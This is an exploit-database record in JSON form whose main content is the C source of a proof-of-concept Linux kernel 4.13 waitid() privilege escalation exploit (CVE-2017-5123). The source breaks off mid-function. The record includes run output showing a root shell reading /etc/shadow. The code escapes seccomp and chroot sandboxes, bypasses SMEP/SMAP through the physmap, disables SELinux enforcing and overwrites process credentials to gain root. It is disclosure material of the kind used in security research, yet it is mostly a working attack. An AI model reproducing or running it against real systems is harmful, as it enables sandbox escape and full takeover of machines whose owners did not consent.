{"result": {"zdt": [{"lastseen": "2018-01-02T19:11:49", "references": [], "description": "This is a proof of concept exploit for the waitid bug introduced in version 4.13 of the Linux kernel. It can be used to break out of sandboxes such as that in Google Chrome.", "edition": 1, "reporter": "Chris Salls", "published": "2017-11-07T00:00:00", "title": "Linux Kernel 4.13 (Ubuntu 17.10) - waitid() SMEP/SMAP Privilege Escalation Exploit", "type": "zdt", "enchantments": {"score": null}, "bulletinFamily": "exploit", "cvelist": ["CVE-2017-5123"], "modified": "2017-11-07T00:00:00", "id": "1337DAY-ID-28966", "href": "https://0day.today/exploit/description/28966", "sourceData": "// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13\r\n// By Chris Salls (twitter.com/chris_salls)\r\n// This exploit can be used to break out out of sandboxes such as that in google chrome\r\n// In this proof of concept we install the seccomp filter from chrome as well as a chroot,\r\n// then break out of those and get root\r\n// Bypasses smep and smap, but is somewhat unreliable and may crash the kernel instead\r\n// offsets written and tested on ubuntu 17.10-beta2\r\n/*\r\n[email\u00a0protected]:~/x$ uname -a\r\nLinux ubuntu 4.13.0-12-generic #13-Ubuntu SMP Sat Sep 23 03:40:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n[email\u00a0protected]:~/x$ gcc poc_smap_bypass.c -lpthread -o poc\r\n[email\u00a0protected]:~/x$ ./poc\r\nInstalled sandboxes. Seccomp, chroot, uid namespace\r\nfor spray assuming task struct size is 5952\r\ncheck in /sys/kernel/slab/task_struct/object_size to make sure this is right\r\nIf it's wrong the exploit will fail\r\nfound kernel base 0xffffffff87600000\r\nfound mapping at 0xffff8eb500000000\r\nfound mapping end at 0xffff8eb5a0000000\r\n9999 threads created\r\nfound second mapping at 0xffff8eb600000000\r\nfound second mapping end at 0xffff8eb750000000\r\nlast_mapping is 0x150000000 bytes\r\nmin guess ffff8eb650000000\r\nstarting guessing\r\nthis part can take up to a minute, or crash the machine :)\r\nfound my task at 0xffff8eb67555dd00\r\njoining threads\r\npart 2 start\r\nmapped 0x100000000\r\ntrying to find physmap mapping\r\nfound mapping at 0xffff8eb500000000\r\nf213000 changed to 0\r\npage locked!\r\ndetected change at 0xffff8eb658000000\r\nphysmap addr is good\r\nhere we go\r\ntrying to call system...\r\n# id\r\nuid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare),1000(salls)\r\n# head /etc/shadow\r\nroot:!:17447:0:99999:7:::\r\ndaemon:*:17435:0:99999:7:::\r\n*/\r\n \r\n/****** overview of exploit ********\r\nwaitid uses unsafe_put_user without checking access_ok,\r\nallowing the user to give a kernel address for infop and write over kernel memory.\r\nwhen given invalid parameters this just writes the following 32 bit integers\r\n0, 0, 0, _, 0, 0, 0\r\n(the 4th element is unchanged)\r\ninside the chrome sandbox we cannot fork (can only make threads)\r\nso we can only give invalid parameters to waitid and only write 0's to kernel memory,\r\n \r\nTo exploit this in the presence of smap:\r\n \r\nI start out by iteratively calling waitid until we find the kernel's base address\r\nWhen it's found it will not return efault error from the syscall\r\n \r\nNow, I can only write 0's at this point, so I spray 10000 threads and attempt\r\nto write 0's over the beginning of the task struct to unset the seccomp flag\r\nThis part is kind of unreliable and depends on the size of the task struct which\r\nchanges based on cpu.\r\n \r\nIf it succceeds, I now know where the task struct is and no longer have seccomp\r\nBy shifting the location of the write and using the pid of the child process, I\r\ncan now write 5 consecutive arbitrary non-zero bytes. So I can create an address\r\nwith this bitmask 0xffffffffff000000\r\n \r\nNow to create data at such an address I use the physmap, a mirror of all userland\r\npages that exists in kernel memory. Mmap a large amount of memory, try writing at\r\nvarious places in the physmap until we see userland memory change. Then mlock that\r\npage.\r\n \r\nWith controlled data in the kernel, I use the 5 byte write described above to change\r\nour task->files to point at the controlled page. This give me control of the file\r\noperations and arbitrary read/write.\r\n \r\nFrom here, I remove the chroot and edit my creds to make that thread root.\r\n*/\r\n \r\n \r\n \r\n#define _GNU_SOURCE\r\n#include <stdlib.h>\r\n#include <errno.h>\r\n#include <wait.h>\r\n#include <string.h>\r\n#include <stdio.h>\r\n#include <sys/syscall.h>\r\n#include <unistd.h>\r\n#include <seccomp.h>\r\n#include <stdlib.h>\r\n#include <sys/prctl.h>\r\n#include <sys/types.h>\r\n#include <linux/filter.h>\r\n#include <fcntl.h>\r\n#include <sched.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\n#include <netinet/ip.h>\r\n#include <stdarg.h>\r\n#include <sys/mman.h>\r\n#include <sched.h>\r\n#include <pthread.h>\r\n#include <linux/sched.h>\r\n#include <linux/futex.h>\r\n#include <limits.h>\r\n#include <sys/ioctl.h>\r\n \r\n \r\n#define PR_SET_NO_NEW_PRIVS 38\r\n#define __NR_seccomp 317\r\n#define SECCOMP_SET_MODE_FILTER 1\r\n \r\n/************ task offsets *************/\r\n// from prctl_get_seccomp\r\n#define OFFSET_OF_SECCOMP_MODE 2920\r\n#define OFFSET_OF_SECCOMP 2928\r\n// from ptrace_access_vm\r\n#define OFFSET_OF_PARENT 2328\r\n// from sys_getcwd \r\n#define OFFSET_OF_FS 2784\r\n// from __fget_light\r\n#define OFFSET_OF_FILES 2792\r\n// from \r\n#define OFFSET_OF_NSPROXY 2800\r\n// from do_acct_process\r\n#define OFFSET_OF_SIGNAL 2808\r\n// from sys_getuid \r\n#define OFFSET_OF_TASK_CRED 2720\r\n// from get_task_comm\r\n#define OFFSET_OF_COMM 2728\r\n// from __put_task_struct\r\n#define OFFSET_OF_TASK_USAGE 72\r\n// from keyctl_session_to_parent\r\n#define OFFSET_OF_THREAD_GROUP 2480\r\n \r\n \r\n/******* files offsets ********/\r\n// from fput\r\n#define OFFSET_OF_F_COUNT 56\r\n// from free_file_rcu\r\n#define OFFSET_OF_F_CRED 144\r\n// from file_alloc_security \r\n#define OFFSET_OF_F_SECURITY 192\r\n// \r\n#define OFFSET_OF_F_INODE 32\r\n \r\n/****** inode offsets *********/\r\n#define OFFSET_OF_IFLAGS 12\r\n \r\n// should assert nsproxy = files+8\r\n// and fs = files-8\r\n// since that's why we need to fix them up\r\n// nsproxy offsets\r\n#define OFFSET_OF_NS_COUNT 0\r\n// fs offset\r\n#define OFFSET_OF_FS_COUNT 0\r\n \r\n// cred offsets\r\n#define CRED_UID_OFF 4\r\n#define CRED_ID_SIZE 32\r\n#define CRED_CAP_OFF 40\r\n#define CRED_CAP_SIZE 40\r\n#define CRED_NS_OFF 136\r\n#define OFFSET_OF_CRED_SECURITY 120\r\n \r\n \r\n#define FMODE_LSEEK 4\r\n \r\n// global offsets\r\n#define KERNEL_BASE_DEFAULT 0xFFFFFFFF81000000\r\n// in cache_seq_next\r\n// mov rax, [rsi]; ret\r\n#define ARB_READ_GADGET_OFF (0xffffffff8109d2b2-KERNEL_BASE_DEFAULT)\r\n// in device_wakeup_attach_irq\r\n// mov [rdx], esi; ret\r\n#define ARB_WRITE_GADGET_OFF (0xffffffff810da932-KERNEL_BASE_DEFAULT)\r\n#define SELINUX_ENFORCING_OFF (0xffffffff824d1394-KERNEL_BASE_DEFAULT)\r\n#define INIT_USER_NS (0xffffffff81e508a0-KERNEL_BASE_DEFAULT)\r\n#define INIT_FS (0xffffffff81f23480-KERNEL_BASE_DEFAULT)\r\n \r\n// operations offsets in qwords\r\n#define OFFSET_LSEEK 1\r\n#define OFFSET_IOCTL 9\r\n \r\n// 4.13+\r\n \r\n// where read/write data is in kernel\r\n// had to play with last 3 nibbles to get it to not crash\r\n#define start_rw_off 0x9f5fe0\r\n \r\n// a global for the f_op in userspace\r\nunsigned long *f_op;\r\n \r\nstruct PagePair {\r\n unsigned long userland_page;\r\n unsigned long kernel_page;\r\n};\r\n \r\nunsigned long kernel_base;\r\nvoid do_exploit_2(unsigned long task_addr);\r\nvoid get_physmap(struct PagePair *pp);\r\n \r\n// global for threads\r\n#define NUM_THREAD_SPRAY 10000\r\npthread_t g_threads[NUM_THREAD_SPRAY];\r\n \r\n/********** HELPERS *************/\r\nvoid raw_input() {\r\n int i;\r\n printf(\"> \");\r\n read(0, (char*)&i, 4);\r\n}\r\n \r\n \r\nint write_file(const char* file, const char* what, ...)\r\n{\r\n char buf[1024];\r\n va_list args;\r\n va_start(args, what);\r\n vsnprintf(buf, sizeof(buf), what, args);\r\n va_end(args);\r\n buf[sizeof(buf) - 1] = 0;\r\n int len = strlen(buf);\r\n \r\n int fd = open(file, O_WRONLY | O_CLOEXEC);\r\n if (fd == -1) {\r\n perror(\"open\");\r\n return 0;\r\n }\r\n if (write(fd, buf, len) != len) {\r\n close(fd);\r\n return 0;\r\n }\r\n close(fd);\r\n return 1;\r\n}\r\n \r\nstatic inline void native_cpuid(unsigned int *eax, unsigned int *ebx,\r\n unsigned int *ecx, unsigned int *edx)\r\n{\r\n /* ecx is often an input as well as an output. */\r\n asm volatile(\"cpuid\"\r\n : \"=a\" (*eax),\r\n \"=b\" (*ebx),\r\n \"=c\" (*ecx),\r\n \"=d\" (*edx)\r\n : \"0\" (*eax), \"2\" (*ecx));\r\n}\r\n \r\nvoid install_mock_chrome_sandbox() {\r\n char *buffer = NULL;\r\n long length;\r\n FILE *f = fopen (\"chrome_seccomp_filter\", \"rb\");\r\n \r\n if (f)\r\n {\r\n fseek(f, 0, SEEK_END);\r\n length = ftell (f);\r\n fseek(f, 0, SEEK_SET);\r\n buffer = malloc(length);\r\n if (buffer)\r\n {\r\n fread(buffer, 1, length, f);\r\n }\r\n fclose(f);\r\n }\r\n else {\r\n printf(\"couldn't open chrome_seccomp_filter\\n\");\r\n exit(-1);\r\n }\r\n if (length%8 != 0) {\r\n printf(\"length mod 8 != 0?\\n\");\r\n exit(-1);\r\n }\r\n \r\n // set up namespace\r\n int real_uid = 1000;\r\n int real_gid = 1000;\r\n int has_newuser = 1;\r\n if (unshare(CLONE_NEWUSER) != 0) {\r\n perror(\"unshare(CLONE_NEWUSER)\");\r\n printf(\"no new user...\\n\");\r\n has_newuser = 0;\r\n }\r\n \r\n if (unshare(CLONE_NEWNET) != 0) {\r\n perror(\"unshare(CLONE_NEWUSER)\");\r\n exit(EXIT_FAILURE);\r\n }\r\n \r\n if (has_newuser && !write_file(\"/proc/self/setgroups\", \"deny\")) {\r\n perror(\"write_file(/proc/self/set_groups)\");\r\n exit(EXIT_FAILURE);\r\n }\r\n if (has_newuser && !write_file(\"/proc/self/uid_map\", \"1000 %d 1\\n\", real_uid)){\r\n perror(\"write_file(/proc/self/uid_map)\");\r\n exit(EXIT_FAILURE);\r\n }\r\n if (has_newuser && !write_file(\"/proc/self/gid_map\", \"1000 %d 1\\n\", real_gid)) {\r\n perror(\"write_file(/proc/self/gid_map)\");\r\n exit(EXIT_FAILURE);\r\n }\r\n \r\n // chroot\r\n if (chroot(\"/proc/self/fdinfo\")) {\r\n perror(\"chroot\");\r\n exit(EXIT_FAILURE);\r\n }\r\n // remove .?\r\n // how did they remove that dir..\r\n \r\n // set uid\r\n if (!has_newuser){\r\n if (setgid(1000)) {\r\n perror(\"setgid\");\r\n exit(EXIT_FAILURE);\r\n }\r\n if (setuid(1000)) {\r\n perror(\"setuid\");\r\n exit(EXIT_FAILURE);\r\n }\r\n }\r\n \r\n // no new privs\r\n int res = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);\r\n if (res) {\r\n printf(\"no new privs failed? %d\\n\", res);\r\n }\r\n \r\n // filter\r\n struct sock_fprog prog = {\r\n .len = (unsigned short) (length/8),\r\n .filter = (void*)buffer,\r\n };\r\n \r\n // install filter\r\n if (syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, 0, &prog)) {\r\n perror(\"seccomp\");\r\n exit(-2);\r\n }\r\n printf(\"Installed sandboxes. Seccomp, chroot, uid namespace\\n\");\r\n}\r\n \r\n// futex wrapper\r\nstatic int futex(void *uaddr, int futex_op, int val, \r\n const struct timespec *timeout, int *uaddr2, int val3) {\r\n return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr, val3);\r\n}\r\n \r\n \r\n/***********EXPLOIT CODE************/\r\n \r\npthread_attr_t thread_attr;\r\n \r\nunsigned long get_base() {\r\n // first we try doing our arb write to find the system base address\r\n // if syscall is 0 we didn't fault\r\n unsigned long start = 0xffffffff00000000;\r\n unsigned long inc = 0x0000000000100000;\r\n unsigned long guess = start;\r\n while (guess != 0) {\r\n int res = syscall(SYS_waitid, P_ALL, 0, guess+start_rw_off, WEXITED, NULL);\r\n if (errno != 14) {\r\n printf(\"found kernel base 0x%lx\\n\", guess);\r\n kernel_base = guess;\r\n return guess;\r\n }\r\n \r\n guess += inc;\r\n }\r\n printf(\"failed to find base address...\");\r\n return -1;\r\n}\r\n \r\nint threads_run;\r\nint barrier2;\r\nint barrier1;\r\nunsigned long g_addr_guess;\r\nunsigned long mapping_begin;\r\nunsigned long mapping_end;\r\n \r\nint found_one = 0;\r\nvoid *thread_guy(void *arg) {\r\n // this thread continuously checks if the seccomp filter was removed\r\n // if so we can move onto the part 2 of the exploit\r\n // we check if the spray worked before and after each barrier\r\n while (1) {\r\n \r\n if (found_one) {\r\n syscall(SYS_exit, 0);\r\n }\r\n // wait on barrier1\r\n int res = futex(&barrier1, FUTEX_WAIT, 0, NULL, NULL, 0);\r\n if (found_one) {\r\n syscall(SYS_exit, 0);\r\n }\r\n \r\n long curr_addr = g_addr_guess;\r\n __atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);\r\n \r\n // check if opening /dev/random does not return the error code from seccomp\r\n // it will still fail because of the chroot, but have a different error\r\n int fd = open(\"/dev/random\", O_RDONLY);\r\n if (errno != 1) {\r\n // FOUND\r\n printf(\"found my task at 0x%lx\\n\", curr_addr);\r\n found_one = 1;\r\n do_exploit_2(curr_addr);\r\n return NULL;\r\n }\r\n \r\n // wait for barrier 2\r\n if (found_one) {\r\n syscall(SYS_exit, 0);\r\n }\r\n futex(&barrier2, FUTEX_WAIT, 0, NULL, NULL, 0);\r\n if (found_one) {\r\n syscall(SYS_exit, 0);\r\n }\r\n __atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);\r\n }\r\n}\r\n \r\nint num_threads = 0;\r\nlong spray_offset;\r\nvoid unseccomp() {\r\n // first we spin up a lot of threads\r\n // let's try 10k\r\n // and then we try overwriting the TIF_SECCOMP flag in the task struct\r\n int i;\r\n \r\n unsigned long curr_guess = 0xffff800000000000;\r\n int j;\r\n while(1) {\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno != 14) {\r\n mapping_begin = curr_guess;\r\n printf(\"found mapping at %p\\n\", (void*)curr_guess);\r\n break;\r\n }\r\n curr_guess += 0x10000000;\r\n }\r\n // check if mapping extends higher?\r\n while(1) {\r\n curr_guess += 0x10000000;\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno == 14) {\r\n printf(\"found mapping end at %p\\n\", (void*)curr_guess);\r\n mapping_end = curr_guess;\r\n curr_guess -= 0x10000000;\r\n break;\r\n }\r\n }\r\n \r\n \r\n // start threads\r\n barrier1 = 0;\r\n barrier2 = 0;\r\n for (i = 0; i < NUM_THREAD_SPRAY; i++) {\r\n num_threads = i;\r\n if(pthread_create(&g_threads[i], &thread_attr, thread_guy, NULL)) {\r\n printf(\"pthread create error\\n\");\r\n printf(\"%d\\n\", i);\r\n break;\r\n }\r\n }\r\n printf(\"%d threads created\\n\", num_threads);\r\n \r\n /***** find the kernel heap *******/\r\n unsigned long last_mapping_start;\r\n unsigned long last_mapping_end;\r\n \r\n unsigned long second_mapping;\r\n unsigned long second_mapping_end;\r\n usleep(100000);\r\n while(1) {\r\n curr_guess += 0x10000000;\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno != 14) {\r\n printf(\"found second mapping at %p\\n\", (void*)curr_guess);\r\n //mapping_end = curr_guess;\r\n second_mapping = curr_guess;\r\n last_mapping_start = second_mapping;\r\n curr_guess -= 0x10000000;\r\n break;\r\n }\r\n }\r\n while(1) {\r\n curr_guess += 0x10000000;\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno == 14) {\r\n printf(\"found second mapping end at %p\\n\", (void*)curr_guess);\r\n second_mapping_end = curr_guess;\r\n last_mapping_end = second_mapping_end;\r\n curr_guess -= 0x10000000;\r\n break;\r\n }\r\n }\r\n \r\n \r\n unsigned long third_mapping = 0;\r\n unsigned long third_mapping_end;\r\n usleep(100000);\r\n while(curr_guess < second_mapping_end+0x100000000) {\r\n curr_guess += 0x10000000;\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno != 14) {\r\n printf(\"found third mapping at %p\\n\", (void*)curr_guess);\r\n third_mapping = curr_guess;\r\n last_mapping_start = third_mapping;\r\n curr_guess -= 0x10000000;\r\n break;\r\n }\r\n }\r\n if (third_mapping) {\r\n while(1) {\r\n curr_guess += 0x10000000;\r\n // try writing\r\n int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);\r\n if (errno == 14) {\r\n printf(\"found third mapping end at %p\\n\", (void*)curr_guess);\r\n third_mapping_end = curr_guess;\r\n last_mapping_end = third_mapping_end;\r\n curr_guess -= 0x10000000;\r\n break;\r\n }\r\n }\r\n }\r\n /***** done finding the kernel heap *******/\r\n \r\n /****** start overwriting from low addresses to high and hope we unset the seccomp flag ******/\r\n // some start guess found by experimenting, could be very wrong on some systems\r\n curr_guess = last_mapping_end-0x100000000;\r\n printf(\"last_mapping is 0x%lx bytes\\n\", last_mapping_end-last_mapping_start);\r\n printf(\"min guess %lx\\n\", curr_guess);\r\n printf(\"starting guessing\\n\");\r\n printf(\"this part can take up to a minute, or crash the machine :)\\n\");\r\n i = 0;\r\n while(!found_one) {\r\n curr_guess += 0x800000;\r\n unsigned long guess_val = curr_guess + spray_offset;\r\n // try writing\r\n syscall(SYS_waitid, P_ALL, 0, guess_val-26, WEXITED, NULL);\r\n g_addr_guess = guess_val;\r\n // let the threads check\r\n barrier2 = 0;\r\n threads_run = 0;\r\n barrier1 = 1;\r\n futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n while(threads_run < num_threads) {\r\n if (found_one) {\r\n // one of the threads is free from seccomp\r\n // wake from barriers first\r\n barrier1=1;\r\n barrier2=1;\r\n futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n printf(\"joining threads\\n\");\r\n for(i = 0; i < num_threads; i++) {\r\n pthread_join(g_threads[i], NULL);\r\n }\r\n printf(\"done joining threads\\n\"); \r\n \r\n sleep(1000);\r\n }\r\n usleep(10000);\r\n }\r\n \r\n // make sure threads are reset\r\n barrier2 = 1;\r\n barrier1 = 0;\r\n futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n while(threads_run < num_threads*2) {\r\n if (found_one) {\r\n printf(\"apparently we found one sleep forever\\n\");\r\n // wake from barriers first\r\n barrier1=1;\r\n barrier2=1;\r\n futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);\r\n printf(\"joining threads\\n\");\r\n for(i = 0; i < num_threads; i++) {\r\n pthread_join(g_threads[i], NULL);\r\n }\r\n printf(\"done joining threads\\n\"); \r\n sleep(100000);\r\n }\r\n usleep(10000);\r\n }\r\n threads_run = 0;\r\n barrier2 = 0;\r\n i += 1; \r\n }\r\n}\r\n \r\nint just_exit(void *arg) {\r\n return 0;\r\n}\r\n \r\nint done_overwrite;\r\nlong new_stack[10000];\r\nvoid write_5(unsigned long addr, unsigned long val) {\r\n // uses waitid with pid to write a 5 byte value\r\n // clobbers a lot of adjacent memory, mostly with 0's\r\n long fake_info[20];\r\n \r\n if(val & 0xffffff) {\r\n printf(\"cannot write that val\\n\");\r\n exit(-1);\r\n }\r\n \r\n //fork exit until pid is good\r\n int i = 0;\r\n for(i = 3; i < 8; i++) {\r\n int to_write = (val >> (8*i)) & 0xff;\r\n while(1) {\r\n // get pid ending in to_write\r\n //int pid = fork();\r\n // to make super fast we clone VM instead of regular fork\r\n // int pid = syscall(SYS_clone, CLONE_VM | CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, &new_stack[200], NULL, 0, 0);\r\n int pid = clone(just_exit, &new_stack[5000], CLONE_VM | SIGCHLD, NULL);\r\n if (!pid) {\r\n exit(0);\r\n }\r\n if ((pid & 0xff) == to_write) {\r\n syscall(SYS_waitid, P_PID, pid, addr-16+i, WEXITED, NULL);\r\n break;\r\n }\r\n else {\r\n syscall(SYS_waitid, P_PID, pid, fake_info, WEXITED, NULL);\r\n }\r\n }\r\n }\r\n \r\n}\r\n \r\n// functions for once we control ops\r\nunsigned long read_addr(unsigned long addr) {\r\n f_op[OFFSET_LSEEK] = ARB_READ_GADGET_OFF + kernel_base;\r\n return syscall(SYS_lseek, 0, addr, SEEK_SET);\r\n}\r\n \r\nvoid mem_read(unsigned long addr, void *buf, unsigned long bytes) {\r\n unsigned long i = 0;\r\n char *cbuf = (char*)buf;\r\n for(i = 0; i < bytes; i+= 8) {\r\n unsigned long got = read_addr(addr+i);\r\n if (i+8 > bytes) {\r\n unsigned long j = 0;\r\n for(j = i; j < bytes; j++) {\r\n cbuf[j] = (char)got&0xff;\r\n got >>= 8;\r\n }\r\n }\r\n else {\r\n *(long*)(cbuf+i) = got;\r\n }\r\n }\r\n}\r\n \r\nvoid write_addr4(unsigned long addr, unsigned int val) {\r\n f_op[OFFSET_IOCTL] = ARB_WRITE_GADGET_OFF+kernel_base;\r\n ioctl(0, val, addr);\r\n}\r\n \r\nvoid write_addr(unsigned long addr, unsigned long val) {\r\n write_addr4(addr, (unsigned int)val);\r\n write_addr4(addr+4, (unsigned int)(val>>32)); \r\n}\r\n \r\nvoid mem_write(unsigned long addr, void *buf, unsigned long bytes) {\r\n if (bytes < 4 || bytes % 4 != 0) {\r\n //cannot write less than 4 bytes\r\n printf(\"Invalid write size\\n\");\r\n exit(-1);\r\n }\r\n int i = 0;\r\n char *cbuf = buf;\r\n for(i = 0; i < bytes; i+=4) {\r\n write_addr4(addr+i, *(unsigned int*)(cbuf+i));\r\n }\r\n}\r\n \r\n \r\nvoid *write_5_thread(void *arg) {\r\n // constantly write to pages to keep them dirtly and \"mlock\" them\r\n unsigned long *aa = arg;\r\n unsigned long addr = aa[0];\r\n unsigned long data = aa[1];\r\n write_5(addr, data);\r\n done_overwrite = 1;\r\n}\r\n \r\nint done_rooting;\r\nvoid *thread_to_be_root(void *arg) {\r\n // this guy exists for copying data and becoming root\r\n while(!done_rooting) {\r\n usleep(10000);\r\n }\r\n printf(\"trying to call system...\\n\");\r\n system(\"/bin/sh\");\r\n}\r\n \r\nvoid do_exploit_2(unsigned long task_addr) {\r\n // second part of the exploit\r\n // now that we don't have seccomp we can fork and use waitid to write up to 5 non-NULL bytes\r\n // I map a large section of memory and search for it in the physmap to find an address with 3 NULL bytes\r\n // The physmap allows us to control data from userland and bypass smap\r\n \r\n // sleep for a bit to make sure threads exit\r\n usleep(100000);\r\n \r\n // remove seccomp filter\r\n syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP-4, WEXITED, NULL); \r\n syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP_MODE, WEXITED, NULL);\r\n // verify seccomp removed for child\r\n int pid = fork();\r\n int rand_fd = open(\"/dev/random\", O_RDONLY); // this will fail due to chroot\r\n \r\n if (errno == 1) {\r\n printf(\"SECCOMP NOT ACTUALLY GONE!\\n\");\r\n exit(-1);\r\n }\r\n if (!pid) {\r\n exit(0);\r\n }\r\n \r\n printf(\"part 2 start\\n\");\r\n // First, get a physmap address in the kernel land\r\n struct PagePair pp;\r\n get_physmap(&pp);\r\n \r\n // now we have a physmap address that we know, we can create our fake files\r\n // we will set up fake files struct\r\n memset((void*)pp.userland_page, 0x41, 0x1000);\r\n unsigned long files_struct = pp.userland_page;\r\n *(int*)files_struct = 100; // count (make sure it's never freed)\r\n *(unsigned long*)(files_struct+32) = pp.kernel_page+0x100; // fdt\r\n \r\n // set up fdt\r\n unsigned long fdt = pp.userland_page+0x100;\r\n *(int*)fdt = 2; // num_files\r\n *(unsigned long*)(fdt+8) = pp.kernel_page+0x200; // fd[] \r\n \r\n // set up fd[]\r\n unsigned long fdarr = pp.userland_page+0x200;\r\n *(unsigned long*)fdarr = pp.kernel_page+0x300; // fd[0]\r\n \r\n // set up file struct\r\n unsigned long file = pp.userland_page+0x300;\r\n *(unsigned long*)(file+40) = pp.kernel_page+0x400; // f_op\r\n *(unsigned int*)(file+68) = FMODE_LSEEK; // mode\r\n *(unsigned long*)(file+OFFSET_OF_F_COUNT)=100; // never free me\r\n \r\n f_op = (unsigned long*)(pp.userland_page+0x400); // f_op pointer\r\n \r\n // need to set up IS_PRIVATE(inode)) and file->cred = task->cred to pass checks for ioctl\r\n // this is the IS_PRIVATE(inode)\r\n *(unsigned long*)(file+OFFSET_OF_F_INODE)=pp.kernel_page+0x500; // inode\r\n unsigned long inode = (unsigned long)(pp.userland_page+0x500); // inode\r\n *(unsigned int*)(inode+OFFSET_OF_IFLAGS) = 0x200; // IS_PRIVATE\r\n \r\n // write over files pointer in task struct\r\n // will overwrite signal nsproxy and fs, so we will need to fix it\r\n printf(\"here we go\\n\");\r\n done_overwrite=0;\r\n long aa[2];\r\n aa[0] = task_addr + OFFSET_OF_FILES;\r\n aa[1] = pp.kernel_page;\r\n pthread_t th1;\r\n // create the thread we will make root\r\n done_rooting = 0;\r\n if(pthread_create(&th1, NULL, thread_to_be_root, NULL)) {\r\n printf(\"pthread failed\\n\");\r\n exit(-1);\r\n }\r\n \r\n // create a thread to overwrite the files in our task\r\n // this current thread can't do that because the signal will be corrupted\r\n if(pthread_create(&th1, NULL, write_5_thread, aa)) {\r\n printf(\"pthread failed\\n\");\r\n exit(-1);\r\n }\r\n \r\n // wait for the thread to overwrite my files\r\n while(!done_overwrite) {\r\n }\r\n \r\n // I'll use lseek here to do arbitrary reads\r\n \r\n // need to set up IS_PRIVATE(inode)) and file->security = task->cred->security to pass checks for ioctl \r\n // first fix up structures in FILE\r\n // let's check another file\r\n // leak out addr of parent\r\n unsigned long parent_addr = read_addr(task_addr+OFFSET_OF_PARENT);\r\n \r\n // grab security from task cred\r\n unsigned long cred = read_addr(task_addr + OFFSET_OF_TASK_CRED);\r\n unsigned long security = read_addr(cred + OFFSET_OF_CRED_SECURITY);\r\n \r\n // fix up file->security\r\n *(unsigned long*)(file+OFFSET_OF_F_SECURITY) = security;\r\n \r\n // now have arb write through ioctl!\r\n \r\n // okay first fix up task struct\r\n // copy parent's nsproxy and set it's refcount high\r\n long parent_nsproxy = read_addr(parent_addr+OFFSET_OF_NSPROXY);\r\n write_addr(task_addr+OFFSET_OF_NSPROXY, parent_nsproxy);\r\n write_addr4(parent_nsproxy+OFFSET_OF_NS_COUNT, 0x11111111);\r\n \r\n // copy parent's fs and set it's refcount high\r\n long parent_fs = read_addr(parent_addr+OFFSET_OF_FS);\r\n write_addr(task_addr+OFFSET_OF_FS, parent_fs);\r\n write_addr4(parent_fs+OFFSET_OF_FS_COUNT, 0x11111111);\r\n \r\n // now set tasks refcount high, we don't want to free it ever either?\r\n write_addr4(task_addr+OFFSET_OF_TASK_USAGE, 0x11111);\r\n \r\n // GET ROOT\r\n // disable selinux enforcing\r\n write_addr4(kernel_base+SELINUX_ENFORCING_OFF, 0);\r\n \r\n unsigned long thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP)-OFFSET_OF_THREAD_GROUP;\r\n if (thread2 == task_addr) {\r\n thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP+8)-OFFSET_OF_THREAD_GROUP;\r\n }\r\n \r\n unsigned long signal = read_addr(thread2+OFFSET_OF_SIGNAL);\r\n write_addr(task_addr+OFFSET_OF_SIGNAL, signal);\r\n // should be able to ptrace now (it's a decent test to make sure signal is fixed\r\n \r\n // now fix up cred we want root\r\n char buf[100];\r\n memset(buf, 0, sizeof(buf));\r\n mem_write(cred+CRED_UID_OFF, buf, CRED_ID_SIZE);\r\n memset(buf, 0xff, sizeof(buf));\r\n mem_write(cred+CRED_CAP_OFF, buf, CRED_CAP_SIZE);\r\n unsigned long init_ns = INIT_USER_NS+kernel_base;\r\n mem_write(cred+CRED_NS_OFF, &init_ns, 8); // is this okay\r\n \r\n // now we need to just escape the file system sandbox (chroot)\r\n unsigned long init_fs = INIT_FS+kernel_base;\r\n write_addr(thread2+OFFSET_OF_FS, init_fs);\r\n // WE ARE DONE!\r\n // signal to the other thread and sleep forever\r\n done_rooting = 1;\r\n sleep(1000000);\r\n \r\n}\r\n \r\n/***** physmap code ******/\r\nint done_locking;\r\nchar *mapping_base;\r\nvoid *mlock_thread(void *arg) {\r\n // constantly write to pages to keep them dirtly and \"mlock\" them\r\n long i;\r\n char last_val = 0;\r\n while(!done_locking) {\r\n last_val += 1;\r\n for(i = 0xfff; i < 0x10000000; i+= 0x1000) {\r\n mapping_base[i] = last_val;\r\n }\r\n }\r\n}\r\n \r\nvoid* mapping_changed() {\r\n long i = 0;\r\n for(i = 0; i < 0x10000000; i+= 0x1000) {\r\n if (mapping_base[i] != 0x41) {\r\n printf(\"%lx changed to %d\\n\", i, mapping_base[i]);\r\n // lock that page in\r\n if(mlock(&mapping_base[i], 